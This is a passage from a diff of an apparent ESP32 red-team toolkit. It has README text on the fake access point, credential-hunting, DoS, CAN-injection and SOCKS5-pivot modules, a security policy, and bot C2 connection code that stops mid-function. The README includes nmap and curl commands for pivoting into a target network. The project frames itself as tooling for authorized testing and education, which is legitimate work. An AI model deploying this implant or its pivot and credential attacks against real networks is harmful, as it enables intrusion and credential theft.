||||
- `dos_tcp <ip> <port> <count>`: TCP load test (authorized use only)
|
||||
- `tun_start <ip> <port>`: Start SOCKS5 tunnel proxy to C3PO (requires `CONFIG_MODULE_TUNNEL`)
|
||||
- `tun_stop`: Stop the tunnel
|
||||
- `tun_status`: Tunnel status (channels, bytes, encryption mode)
|
||||
|
||||
### FakeAP Module
|
||||
|
||||
Simulated WiFi access points with captive portal and traffic sniffing:
|
||||
|
||||
- `fakeap_start <ssid> [open|wpa2] [password]`: Start a fake access point
|
||||
- `fakeap_stop`: Stop the fake AP
|
||||
- `fakeap_status`: Display status (AP, portal, sniffer, clients)
|
||||
- `fakeap_clients`: List connected clients
|
||||
- `fakeap_portal_start` / `fakeap_portal_stop`: Captive portal
|
||||
- `fakeap_sniffer_on` / `fakeap_sniffer_off`: Traffic capture
|
||||
|
||||
### Recon Module
|
||||
|
||||
Reconnaissance and data collection. Two modes:
|
||||
|
||||
#### Camera Mode (ESP32-CAM)
|
||||
|
||||
- `cam_start <ip> <port>`: Start UDP video streaming (~7 FPS, QQVGA)
|
||||
- `cam_stop`: Stop streaming
|
||||
|
||||
#### BLE Trilateration Mode
|
||||
|
||||
- `trilat start <mac> <url> <bearer>`: Start BLE trilateration with HTTP POST
|
||||
- `trilat stop`: Stop trilateration
|
||||
|
||||
### Red Team Module
|
||||
|
||||
Autonomous WiFi hunting, credential attacks, and ESP-NOW mesh relay:
|
||||
|
||||
- `hunt_start [profile]`: Launch autonomous WiFi scan + attack cycle
|
||||
- `hunt_stop`: Stop hunting
|
||||
- `hunt_status`: Current targets, progress, captured credentials
|
||||
- Stealth features: MAC randomization, passive scanning, timing jitter
|
||||
- ESP-NOW mesh: multi-hop relay for out-of-range C2
|
||||
|
||||
### Honeypot Module
|
||||
|
||||
Fake network services that log attacker interactions:
|
||||
|
||||
- Emulated services: SSH, Telnet, HTTP, FTP (configurable ports)
|
||||
- WiFi monitor: detect rogue APs and deauth attacks
|
||||
- Network anomaly detection: ARP spoofing, port scanning alerts
|
||||
- All events streamed to C2 with attacker fingerprints
|
||||
|
||||
### Tunnel Module (SOCKS5 Proxy)
|
||||
|
||||
Multiplexed SOCKS5 tunnel proxy through the ESP32. Use any network tool (`curl`, `nmap`, `proxychains`) to pivot through the bot onto the target network.
|
||||
|
||||
- SOCKS5 runs on C3PO (port 1080) — the ESP32 only handles binary frames
|
||||
- Up to 8 concurrent TCP connections (configurable via Kconfig)
|
||||
- DNS resolution on the ESP32 side (sees internal DNS of the target network)
|
||||
- Auto-reconnect with exponential backoff if C3PO connection drops
|
||||
- Optional per-frame ChaCha20-Poly1305 AEAD encryption
|
||||
|
||||
**C3PO ports**: 2626 (C2 commands) + 2627 (tunnel data) + 1080 (SOCKS5, localhost only)
|
||||
|
||||
```bash
|
||||
# Start tunnel from C2
|
||||
send <device_id> tun_start <c3po_ip> 2627
|
||||
|
||||
# Use any tool through the proxy
|
||||
curl --socks5-hostname 127.0.0.1:1080 http://target-internal.local
|
||||
nmap -sT -Pn --proxies socks4://127.0.0.1:1080 192.168.x.0/24
|
||||
```
|
||||
|
||||
See [TUNNEL.md](TUNNEL.md) for full protocol specification and testing guide.
|
||||
|
||||
### CAN Bus Module (MCP2515)
|
||||
|
||||
Automotive CAN bus: sniff, inject, UDS diagnostics, OBD-II, and fuzzing via external MCP2515 SPI controller.
|
||||
|
||||
- `can_start [bitrate] [mode]`: Init bus (normal/listen/loopback)
|
||||
- `can_sniff [duration]` / `can_record` / `can_replay`: Capture and replay
|
||||
- `can_send <id> <data>`: Frame injection
|
||||
- UDS: `can_scan_ecu`, `can_uds_read`, `can_uds_dump`, `can_uds_auth`
|
||||
- OBD-II: `can_obd <pid>`, `can_obd_vin`, `can_obd_dtc`, `can_obd_monitor`
|
||||
- Fuzzing: `can_fuzz_id`, `can_fuzz_data`, `can_fuzz_random`
|
||||
|
||||
See [mod_canbus documentation](espilon_bot/components/mod_canbus/README.md) for full details.
|
||||
|
||||
### OTA Module
|
||||
|
||||
Over-the-air firmware updates from C2 server:
|
||||
|
||||
- Secure HTTPS firmware download (optional HTTP fallback)
|
||||
- Dual partition scheme (A/B) for safe rollback
|
||||
- Progress reporting to C2
|
||||
|
||||
---
|
||||
|
||||
**Configuration**: `idf.py menuconfig` → Espilon Bot Configuration → Modules
|
||||
|
||||
- `CONFIG_MODULE_NETWORK`: Network Module
|
||||
- `CONFIG_MODULE_FAKEAP`: FakeAP Module
|
||||
- `CONFIG_MODULE_RECON`: Recon Module (Camera or BLE Trilateration)
|
||||
- `CONFIG_MODULE_REDTEAM`: Red Team Module
|
||||
- `CONFIG_MODULE_HONEYPOT`: Honeypot Module
|
||||
- `CONFIG_MODULE_TUNNEL`: SOCKS5 Tunnel Proxy (requires `CONFIG_MODULE_NETWORK`)
|
||||
- `CONFIG_MODULE_CANBUS`: CAN Bus Module (requires MCP2515 hardware)
|
||||
- `CONFIG_ESPILON_OTA_ENABLED`: OTA Updates
|
||||
|
||||
---
|
||||
|
||||
## Tools
|
||||
|
||||
### Deploy Tool
|
||||
|
||||
Unified pipeline to **build**, **provision** (crypto keys), and **flash** ESP32 devices:
|
||||
|
||||
```bash
|
||||
cd tools
|
||||
|
||||
# Interactive wizard
|
||||
python3 deploy.py
|
||||
|
||||
# Single device
|
||||
python3 deploy.py -p /dev/ttyUSB0 -d my-device \
|
||||
--wifi MySSID MyPassword --srv 192.168.1.100
|
||||
|
||||
# Batch deploy
|
||||
python3 deploy.py --config deploy.example.json
|
||||
```
|
||||
|
||||
Each deploy generates a **256-bit master key** per device, writes it to the factory NVS partition, and registers it in the C2 keystore (`keys.json`).
|
||||
|
||||
See [tools/README.md](tools/README.md) for complete documentation (modes, batch config, OTA vs non-OTA, flash map).
|
||||
|
||||
### C2 Server (C3PO)
|
||||
|
||||
Command & Control server:
|
||||
|
||||
```bash
|
||||
cd tools/C3PO
|
||||
pip3 install -r requirements.txt
|
||||
python3 c3po.py
|
||||
```
|
||||
|
||||
Full C2 documentation and command list: see [tools/C3PO/README.md](tools/C3PO/README.md).
|
||||
|
||||
---
|
||||
|
||||
## Security
|
||||
|
||||
### Encryption
|
||||
|
||||
- **ChaCha20-Poly1305 AEAD** for authenticated encryption of all C2 communications
|
||||
- **HKDF-SHA256** key derivation (per-device master key + device ID salt)
|
||||
- **Random 12-byte nonce** per message (ESP32 hardware RNG)
|
||||
- **Per-device master keys** stored in factory NVS partition (read-only)
|
||||
- **Protocol Buffers (nanoPB)** for serialization
|
||||
|
||||
Provision each device with a unique master key using `tools/deploy.py`. Keys are never hardcoded in firmware.
|
||||
|
||||
### Responsible Use
|
||||
|
||||
Espilon should only be used for:
|
||||
|
||||
- **Authorized** penetration testing
|
||||
- **Ethical** security research
|
||||
- Education and training
|
||||
- Legitimate IoT prototyping
|
||||
|
||||
**Prohibited**: Unauthorized access, malicious attacks, privacy violations.
|
||||
|
||||
---
|
||||
|
||||
## Use Cases
|
||||
|
||||
### WiFi Pentesting
|
||||
|
||||
- Network security auditing
|
||||
- WPA2/WPA3 robustness testing
|
||||
- Network mapping
|
||||
|
||||
### IoT Security Research
|
||||
|
||||
- IoT device testing
|
||||
- Protocol analysis
|
||||
- Vulnerability detection
|
||||
|
||||
### Education
|
||||
|
||||
- Cybersecurity labs
|
||||
- Embedded systems courses
|
||||
- CTF competitions
|
||||
|
||||
---
|
||||
|
||||
## Roadmap
|
||||
|
||||
### V2.0 (Complete)
|
||||
|
||||
- [x] ChaCha20-Poly1305 AEAD + HKDF crypto upgrade
|
||||
- [x] Per-device factory NVS key provisioning
|
||||
- [x] C3PO C2 rewrite with per-device crypto
|
||||
- [x] OTA firmware updates
|
||||
- [x] Red Team module (autonomous WiFi hunting)
|
||||
- [x] Honeypot module (fake services + monitoring)
|
||||
- [x] CAN Bus module (MCP2515 — sniff, inject, UDS, OBD-II, fuzzing)
|
||||
- [x] Web dashboard with device management, camera, MLAT, OTA, CAN
|
||||
- [x] SOCKS5 tunnel proxy (multiplexed pivot through ESP32)
|
||||
|
||||
### Future
|
||||
|
||||
- [ ] BLE module (scan, GATT enum, beacon spoofing)
|
||||
- [ ] Sub-GHz module (CC1101 — 433/868/915 MHz)
|
||||
- [ ] BadUSB module (ESP32-S2/S3 HID injection)
|
||||
- [ ] Custom Espilon PCB
|
||||
- [ ] ESP32-S3/C3 support
|
||||
- [ ] Module SDK for third-party extensions
|
||||
|
||||
See [MODULE_IDEAS.md](MODULE_IDEAS.md) for the full list of planned modules.
|
||||
|
||||
---
|
||||
|
||||
## License
|
||||
|
||||
Espilon is licensed under **MIT** with a security addendum.
|
||||
|
||||
See [LICENSE](LICENSE) for full details.
|
||||
|
||||
**In summary**:
|
||||
- Free use for research, education, development
|
||||
- Modification and distribution allowed
|
||||
- **Obtain authorization** before any deployment
|
||||
- Malicious use strictly prohibited
|
||||
|
||||
---
|
||||
|
||||
## Contributors
|
||||
|
||||
- **@Eun0us** - Core architecture, modules
|
||||
- **@off-path** - C2 server, protocol
|
||||
- **@itsoktocryyy** - Network features, work on Mod Wall Hack
|
||||
- **@wepfen** - Documentation, tools
|
||||
|
||||
### Contributing
|
||||
|
||||
Contributions welcome! See [CONTRIBUTING.md](CONTRIBUTING.md).
|
||||
|
||||
**Join us**:
|
||||
|
||||
- Report bugs
|
||||
- Propose features
|
||||
- Submit PRs
|
||||
- Improve documentation
|
||||
|
||||
---
|
||||
|
||||
## Useful Links
|
||||
|
||||
- **[Full documentation](https://docs.espilon.net)**
|
||||
- **[ESP-IDF Documentation](https://docs.espressif.com/projects/esp-idf/)**
|
||||
- **[LilyGO T-Call](https://github.com/Xinyuan-LilyGO/LilyGO-T-Call-SIM800)**
|
||||
- **French README**: [README.fr.md](README.fr.md)
|
||||
|
||||
---
|
||||
|
||||
## Support
|
||||
|
||||
- **Issues**: [GitHub Issues](https://github.com/Espilon-Net/Espilon-Source/issues)
|
||||
- **Discussions**: [GitHub Discussions](https://github.com/Espilon-Net/Espilon-Source/discussions)
|
||||
|
||||
---
|
||||
|
||||
**Originally presented at Le Hack (June 2025)**
|
||||
|
||||
**Made with love for security research and education**
|
||||
|
||||
39
SECURITY.md
Normal file
39
SECURITY.md
Normal file
@ -0,0 +1,39 @@
|
||||
# Security Policy
|
||||
|
||||
## Supported Versions
|
||||
|
||||
| Version | Supported |
|
||||
|---------|-----------|
|
||||
| v0.3.x | Yes |
|
||||
| < v0.3 | No |
|
||||
|
||||
## Reporting a Vulnerability
|
||||
|
||||
If you discover a security vulnerability in Espilon, please report it responsibly.
|
||||
|
||||
**Do NOT open a public issue.**
|
||||
|
||||
Send an email to: **espilon-security@proton.me**
|
||||
|
||||
Include:
|
||||
- Description of the vulnerability
|
||||
- Steps to reproduce
|
||||
- Impact assessment
|
||||
- Suggested fix (if any)
|
||||
|
||||
You will receive a response within 72 hours. We will work with you to understand and address the issue before any public disclosure.
|
||||
|
||||
## Scope
|
||||
|
||||
This policy covers:
|
||||
- ESP32 firmware (`espilon_bot/`)
|
||||
- C3PO control server (`tools/C3PO/`)
|
||||
- Cryptographic implementation (ChaCha20-Poly1305, HKDF)
|
||||
- Network protocols and command dispatch
|
||||
|
||||
## Responsible Disclosure
|
||||
|
||||
We ask that you:
|
||||
- Allow reasonable time to fix the issue before public disclosure
|
||||
- Do not exploit the vulnerability beyond what is necessary to demonstrate it
|
||||
- Do not access or modify data belonging to others
|
||||
BIN
assets/images/documentation-header.png
Normal file
BIN
assets/images/documentation-header.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 49 KiB |
BIN
assets/images/espilon-logo.jpg
Normal file
BIN
assets/images/espilon-logo.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 129 KiB |
BIN
assets/images/menuconfig.png
Normal file
BIN
assets/images/menuconfig.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 13 KiB |
8
espilon_bot/CMakeLists.txt
Normal file
8
espilon_bot/CMakeLists.txt
Normal file
@ -0,0 +1,8 @@
|
||||
# For more information about build system see
|
||||
# https://docs.espressif.com/projects/esp-idf/en/latest/api-guides/build-system.html
|
||||
# The following five lines of boilerplate have to be in your project's
|
||||
# CMakeLists in this exact order for cmake to work correctly
|
||||
cmake_minimum_required(VERSION 3.16)
|
||||
|
||||
include($ENV{IDF_PATH}/tools/cmake/project.cmake)
|
||||
project(bot-lwip)
|
||||
9
espilon_bot/README.md
Normal file
9
espilon_bot/README.md
Normal file
@ -0,0 +1,9 @@
|
||||
# TODO
|
||||
|
||||
```md
|
||||
- Tester le mode GPRS; Faire un Post blog sur les test etc
|
||||
- Structure de commandes; facile a implementer (en cas de nouvelles features)
|
||||
- Test et Implementation de la features proxy sock5;
|
||||
- Rework du multi Flasher;
|
||||
- Rework de espilon-shell avec konsole et implémentation des modules espilon; ( en vrai ça peut attendre)
|
||||
```
|
||||
27
espilon_bot/components/core/CMakeLists.txt
Normal file
27
espilon_bot/components/core/CMakeLists.txt
Normal file
@ -0,0 +1,27 @@
|
||||
set(PRIV_REQUIRES_LIST
|
||||
mbedtls
|
||||
nvs_flash
|
||||
lwip
|
||||
mod_network
|
||||
mod_fakeAP
|
||||
mod_recon
|
||||
mod_honeypot
|
||||
mod_fallback
|
||||
mod_redteam
|
||||
mod_canbus
|
||||
esp_timer
|
||||
driver
|
||||
freertos
|
||||
)
|
||||
|
||||
idf_component_register(
|
||||
SRCS "crypto.c" "process.c" "WiFi.c" "gprs.c" "messages.c" "com.c"
|
||||
"command.c" "command_async.c"
|
||||
"nanoPB/c2.pb.c"
|
||||
"nanoPB/pb_common.c"
|
||||
"nanoPB/pb_encode.c"
|
||||
"nanoPB/pb_decode.c"
|
||||
INCLUDE_DIRS "." "nanoPB"
|
||||
|
||||
PRIV_REQUIRES ${PRIV_REQUIRES_LIST}
|
||||
)
|
||||
498
espilon_bot/components/core/WiFi.c
Normal file
498
espilon_bot/components/core/WiFi.c
Normal file
@ -0,0 +1,498 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include "lwip/sockets.h"
|
||||
#include "lwip/netdb.h"
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "freertos/timers.h"
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_event.h"
|
||||
#include "esp_netif.h"
|
||||
|
||||
#include "c2.pb.h"
|
||||
#include "pb_decode.h"
|
||||
|
||||
#include "freertos/semphr.h"
|
||||
#include <stdatomic.h>
|
||||
#include "utils.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_FALLBACK
|
||||
#include "fb_config.h"
|
||||
#include "fb_hunt.h"
|
||||
#endif
|
||||
|
||||
int sock = -1;
|
||||
SemaphoreHandle_t sock_mutex = NULL;
|
||||
|
||||
/* Fallback hunt flag: when true, WiFi.c skips its own reconnect logic */
|
||||
atomic_bool fb_active = false;
|
||||
|
||||
#ifdef CONFIG_NETWORK_WIFI
|
||||
static const char *TAG = "CORE_WIFI";
|
||||
|
||||
#define RX_BUF_SIZE 4096
|
||||
#define RECONNECT_DELAY_MS 5000
|
||||
#define RX_TIMEOUT_S 10
|
||||
|
||||
/* =========================================================
|
||||
* WiFi reconnect with exponential backoff + full restart
|
||||
* ========================================================= */
|
||||
#define WIFI_BACKOFF_INIT_MS 1000
|
||||
#define WIFI_BACKOFF_MAX_MS 30000
|
||||
#define WIFI_MAX_RETRIES 10 /* full restart after N failures */
|
||||
|
||||
static int wifi_retry_count = 0;
|
||||
static uint32_t wifi_backoff_ms = WIFI_BACKOFF_INIT_MS;
|
||||
static TimerHandle_t reconnect_timer = NULL;
|
||||
|
||||
static void wifi_reconnect_cb(TimerHandle_t t)
|
||||
{
|
||||
ESP_LOGI(TAG, "Reconnect attempt %d (backoff %lums)",
|
||||
wifi_retry_count + 1, (unsigned long)wifi_backoff_ms);
|
||||
|
||||
if (wifi_retry_count >= WIFI_MAX_RETRIES) {
|
||||
ESP_LOGW(TAG, "Max retries reached — full WiFi restart");
|
||||
esp_wifi_stop();
|
||||
vTaskDelay(pdMS_TO_TICKS(500));
|
||||
esp_wifi_start();
|
||||
esp_wifi_connect();
|
||||
wifi_retry_count = 0;
|
||||
wifi_backoff_ms = WIFI_BACKOFF_INIT_MS;
|
||||
return;
|
||||
}
|
||||
|
||||
esp_wifi_connect();
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
* WiFi event handler — backoff reconnect on disconnect
|
||||
* ========================================================= */
|
||||
static void wifi_event_handler(void *arg, esp_event_base_t event_base,
|
||||
int32_t event_id, void *event_data)
|
||||
{
|
||||
if (event_base == WIFI_EVENT && event_id == WIFI_EVENT_STA_DISCONNECTED) {
|
||||
wifi_event_sta_disconnected_t *evt =
|
||||
(wifi_event_sta_disconnected_t *)event_data;
|
||||
|
||||
/* If fallback hunt is active, it handles WiFi — skip reconnect */
|
||||
if (fb_active) {
|
||||
ESP_LOGI(TAG, "WiFi disconnected (reason=%d, fb_active — skipping reconnect)",
|
||||
evt->reason);
|
||||
return;
|
||||
}
|
||||
|
||||
#ifdef CONFIG_MODULE_FAKEAP
|
||||
/* If FakeAP is active, don't reconnect STA (would interfere with AP mode) */
|
||||
if (fakeap_active) {
|
||||
ESP_LOGI(TAG, "WiFi disconnected (reason=%d, fakeAP active — skipping reconnect)",
|
||||
evt->reason);
|
||||
return;
|
||||
}
|
||||
#endif
|
||||
|
||||
ESP_LOGW(TAG, "WiFi disconnected (reason=%d), retry in %lums",
|
||||
evt->reason, (unsigned long)wifi_backoff_ms);
|
||||
|
||||
wifi_retry_count++;
|
||||
|
||||
#if defined(CONFIG_FB_AUTO_HUNT) && defined(CONFIG_FB_WIFI_FAIL_THRESHOLD)
|
||||
if (wifi_retry_count >= CONFIG_FB_WIFI_FAIL_THRESHOLD && !fb_active) {
|
||||
ESP_LOGW(TAG, "WiFi failures >= %d — triggering fallback hunt",
|
||||
CONFIG_FB_WIFI_FAIL_THRESHOLD);
|
||||
extern void fb_hunt_trigger(void);
|
||||
fb_hunt_trigger();
|
||||
return;
|
||||
}
|
||||
#endif
|
||||
|
||||
/* Schedule reconnect with backoff */
|
||||
if (reconnect_timer) {
|
||||
xTimerChangePeriod(reconnect_timer,
|
||||
pdMS_TO_TICKS(wifi_backoff_ms),
|
||||
0);
|
||||
xTimerStart(reconnect_timer, 0);
|
||||
}
|
||||
|
||||
/* Exponential backoff: 1s → 2s → 4s → ... → 30s */
|
||||
wifi_backoff_ms *= 2;
|
||||
if (wifi_backoff_ms > WIFI_BACKOFF_MAX_MS)
|
||||
wifi_backoff_ms = WIFI_BACKOFF_MAX_MS;
|
||||
}
|
||||
|
||||
if (event_base == IP_EVENT && event_id == IP_EVENT_STA_GOT_IP) {
|
||||
ip_event_got_ip_t *evt = (ip_event_got_ip_t *)event_data;
|
||||
ESP_LOGI(TAG, "Got IP: " IPSTR, IP2STR(&evt->ip_info.ip));
|
||||
|
||||
/* Reset backoff on successful connection */
|
||||
wifi_retry_count = 0;
|
||||
wifi_backoff_ms = WIFI_BACKOFF_INIT_MS;
|
||||
|
||||
if (reconnect_timer)
|
||||
xTimerStop(reconnect_timer, 0);
|
||||
}
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
* Pause/resume reconnect (used by Red Team hunt module)
|
||||
* ========================================================= */
|
||||
void wifi_pause_reconnect(void)
|
||||
{
|
||||
if (reconnect_timer)
|
||||
xTimerStop(reconnect_timer, 0);
|
||||
ESP_LOGI(TAG, "WiFi reconnect paused");
|
||||
}
|
||||
|
||||
void wifi_resume_reconnect(void)
|
||||
{
|
||||
wifi_retry_count = 0;
|
||||
wifi_backoff_ms = WIFI_BACKOFF_INIT_MS;
|
||||
ESP_LOGI(TAG, "WiFi reconnect resumed (backoff reset)");
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
* WiFi init
|
||||
* ========================================================= */
|
||||
void wifi_init(void)
|
||||
{
|
||||
ESP_ERROR_CHECK(esp_netif_init());
|
||||
ESP_ERROR_CHECK(esp_event_loop_create_default());
|
||||
esp_netif_create_default_wifi_sta();
|
||||
esp_netif_create_default_wifi_ap();
|
||||
|
||||
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
|
||||
ESP_ERROR_CHECK(esp_wifi_init(&cfg));
|
||||
|
||||
/* Reconnect timer (one-shot, started on disconnect) */
|
||||
reconnect_timer = xTimerCreate("wifi_reconn", pdMS_TO_TICKS(1000),
|
||||
pdFALSE, NULL, wifi_reconnect_cb);
|
||||
|
||||
/* Register event handlers */
|
||||
ESP_ERROR_CHECK(esp_event_handler_register(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED,
|
||||
&wifi_event_handler, NULL));
|
||||
ESP_ERROR_CHECK(esp_event_handler_register(IP_EVENT, IP_EVENT_STA_GOT_IP,
|
||||
&wifi_event_handler, NULL));
|
||||
|
||||
wifi_config_t wifi_config = {
|
||||
.sta = {
|
||||
.ssid = CONFIG_WIFI_SSID,
|
||||
.password = CONFIG_WIFI_PASS,
|
||||
},
|
||||
};
|
||||
|
||||
ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_STA));
|
||||
ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_STA, &wifi_config));
|
||||
ESP_ERROR_CHECK(esp_wifi_start());
|
||||
ESP_ERROR_CHECK(esp_wifi_connect());
|
||||
|
||||
ESP_LOGI(TAG, "Connecting to WiFi SSID=%s", CONFIG_WIFI_SSID);
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
* TCP connect
|
||||
* ========================================================= */
|
||||
static bool tcp_connect(void)
|
||||
{
|
||||
struct sockaddr_in server_addr = {0};
|
||||
|
||||
int new_sock = lwip_socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (new_sock < 0) {
|
||||
ESP_LOGE(TAG, "socket() failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
server_addr.sin_family = AF_INET;
|
||||
server_addr.sin_port = htons(CONFIG_SERVER_PORT);
|
||||
server_addr.sin_addr.s_addr = inet_addr(CONFIG_SERVER_IP);
|
||||
|
||||
if (lwip_connect(new_sock,
|
||||
(struct sockaddr *)&server_addr,
|
||||
sizeof(server_addr)) != 0) {
|
||||
ESP_LOGE(TAG, "connect() failed");
|
||||
lwip_close(new_sock);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Recv timeout: prevents blocking forever if C2 dies without FIN */
|
||||
struct timeval tv = { .tv_sec = RX_TIMEOUT_S, .tv_usec = 0 };
|
||||
lwip_setsockopt(new_sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
|
||||
|
||||
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
||||
sock = new_sock;
|
||||
xSemaphoreGive(sock_mutex);
|
||||
|
||||
ESP_LOGI(TAG, "Connected to %s:%d",
|
||||
CONFIG_SERVER_IP,
|
||||
CONFIG_SERVER_PORT);
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
/* =========================================================
|
||||
* Server identity verification (challenge-response AEAD)
|
||||
*
|
||||
* Sends HELLO:device_id, server responds with AEAD-encrypted
|
||||
* challenge. If we can decrypt it (tag OK), the server has
|
||||
* the correct key and is authentic.
|
||||
* ========================================================= */
|
||||
#ifdef CONFIG_C2_VERIFY_SERVER
|
||||
static bool server_verify(void)
|
||||
{
|
||||
/* 1) Send HELLO:device_id\n */
|
||||
char hello[128];
|
||||
snprintf(hello, sizeof(hello), "HELLO:%s\n", CONFIG_DEVICE_ID);
|
||||
|
||||
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
||||
int s = sock;
|
||||
xSemaphoreGive(sock_mutex);
|
||||
|
||||
if (lwip_write(s, hello, strlen(hello)) <= 0) {
|
||||
ESP_LOGE(TAG, "server_verify: failed to send HELLO");
|
||||
return false;
|
||||
}
|
||||
|
||||
/* 2) Read server challenge (recv timeout already set to 10s) */
|
||||
uint8_t rx_buf[256];
|
||||
int len = lwip_recv(s, rx_buf, sizeof(rx_buf) - 1, 0);
|
||||
if (len <= 0) {
|
||||
ESP_LOGE(TAG, "server_verify: no challenge received");
|
||||
return false;
|
||||
}
|
||||
rx_buf[len] = '\0';
|
||||
|
||||
/* Strip trailing newline/CR */
|
||||
while (len > 0 && (rx_buf[len - 1] == '\n' || rx_buf[len - 1] == '\r'))
|
||||
rx_buf[--len] = '\0';
|
||||
|
||||
if (len == 0) {
|
||||
ESP_LOGE(TAG, "server_verify: empty challenge");
|
||||
return false;
|
||||
}
|
||||
|
||||
/* 3) Base64 decode */
|
||||
size_t decoded_len = 0;
|
||||
char *decoded = base64_decode((char *)rx_buf, &decoded_len);
|
||||
if (!decoded || decoded_len < 28) { /* nonce(12) + tag(16) minimum */
|
||||
ESP_LOGE(TAG, "server_verify: base64 decode failed");
|
||||
free(decoded);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* 4) Decrypt — AEAD tag verification proves server identity */
|
||||
uint8_t plain[256];
|
||||
int plain_len = crypto_decrypt((uint8_t *)decoded, decoded_len,
|
||||
plain, sizeof(plain));
|
||||
free(decoded);
|
||||
|
||||
if (plain_len < 0) {
|
||||
ESP_LOGE(TAG, "server_verify: AEAD verification FAILED");
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
#endif /* CONFIG_C2_VERIFY_SERVER */
|
||||
|
||||
/* =========================================================
|
||||
* Handle incoming frame
|
||||
* ========================================================= */
|
||||
static void handle_frame(const uint8_t *buf, size_t len)
|
||||
{
|
||||
if (len == 0 || len >= RX_BUF_SIZE) {
|
||||
ESP_LOGW(TAG, "Frame too large or empty (%d bytes), dropping", (int)len);
|
||||
return;
|
||||
}
|
||||
/* buf is already null-terminated by strtok in tcp_rx_loop,
|
||||
and c2_decode_and_exec makes its own 1024-byte copy. */
|
||||
c2_decode_and_exec((const char *)buf);
|
||||
}
|
||||
|
||||
|
||||
/* =========================================================
|
||||
* TCP RX loop
|
||||
* Returns: true = still connected, false = disconnected
|
||||
* ========================================================= */
|
||||
static bool tcp_rx_loop(void)
|
||||
{
|
||||
static uint8_t rx_buf[RX_BUF_SIZE];
|
||||
|
||||
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
||||
int current_sock = sock;
|
||||
xSemaphoreGive(sock_mutex);
|
||||
|
||||
if (current_sock < 0) return false;
|
||||
|
||||
int len = lwip_recv(current_sock, rx_buf, sizeof(rx_buf) - 1, 0);
|
||||
if (len < 0) {
|
||||
/* Timeout is normal (EAGAIN/EWOULDBLOCK) — not a disconnect */
|
||||
if (errno == EAGAIN || errno == EWOULDBLOCK) {
|
||||
return true;
|
||||
}
|
||||
ESP_LOGW(TAG, "RX error: errno=%d", errno);
|
||||
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
||||
lwip_close(sock);
|
||||
sock = -1;
|
||||
xSemaphoreGive(sock_mutex);
|
||||
return false;
|
||||
}
|
||||
if (len == 0) {
|
||||
ESP_LOGW(TAG, "RX: peer closed connection");
|
||||
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
||||
lwip_close(sock);
|
||||
sock = -1;
|
||||
xSemaphoreGive(sock_mutex);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* IMPORTANT: string termination for strtok */
|
||||
rx_buf[len] = '\0';
|
||||
|
||||
char *saveptr = NULL;
|
||||
char *line = strtok_r((char *)rx_buf, "\n", &saveptr);
|
||||
while (line) {
|
||||
handle_frame((uint8_t *)line, strlen(line));
|
||||
line = strtok_r(NULL, "\n", &saveptr);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
* C2 failover: try NVS fallback addresses on same network
|
||||
* ========================================================= */
|
||||
#ifdef CONFIG_FB_AUTO_HUNT
|
||||
|
||||
static bool try_fallback_c2s(void)
|
||||
{
|
||||
fb_c2_addr_t addrs[CONFIG_FB_MAX_C2_FALLBACKS];
|
||||
int count = fb_config_c2_list(addrs, CONFIG_FB_MAX_C2_FALLBACKS);
|
||||
|
||||
for (int i = 0; i < count; i++) {
|
||||
char ip_buf[48];
|
||||
int port = CONFIG_SERVER_PORT;
|
||||
strncpy(ip_buf, addrs[i].addr, sizeof(ip_buf) - 1);
|
||||
ip_buf[sizeof(ip_buf) - 1] = '\0';
|
||||
|
||||
/* Parse "ip:port" format */
|
||||
char *colon = strrchr(ip_buf, ':');
|
||||
if (colon) {
|
||||
*colon = '\0';
|
||||
port = atoi(colon + 1);
|
||||
if (port <= 0 || port > 65535) port = CONFIG_SERVER_PORT;
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Trying C2 fallback: %s:%d", ip_buf, port);
|
||||
|
||||
/* Close current socket */
|
||||
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
||||
if (sock >= 0) { lwip_close(sock); sock = -1; }
|
||||
xSemaphoreGive(sock_mutex);
|
||||
|
||||
/* Try connect to fallback C2 */
|
||||
struct sockaddr_in server_addr = {0};
|
||||
int new_sock = lwip_socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (new_sock < 0) continue;
|
||||
|
||||
server_addr.sin_family = AF_INET;
|
||||
server_addr.sin_port = htons(port);
|
||||
server_addr.sin_addr.s_addr = inet_addr(ip_buf);
|
||||
|
||||
if (lwip_connect(new_sock, (struct sockaddr *)&server_addr,
|
||||
sizeof(server_addr)) != 0) {
|
||||
lwip_close(new_sock);
|
||||
continue;
|
||||
}
|
||||
|
||||
struct timeval tv = { .tv_sec = RX_TIMEOUT_S, .tv_usec = 0 };
|
||||
lwip_setsockopt(new_sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
|
||||
|
||||
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
||||
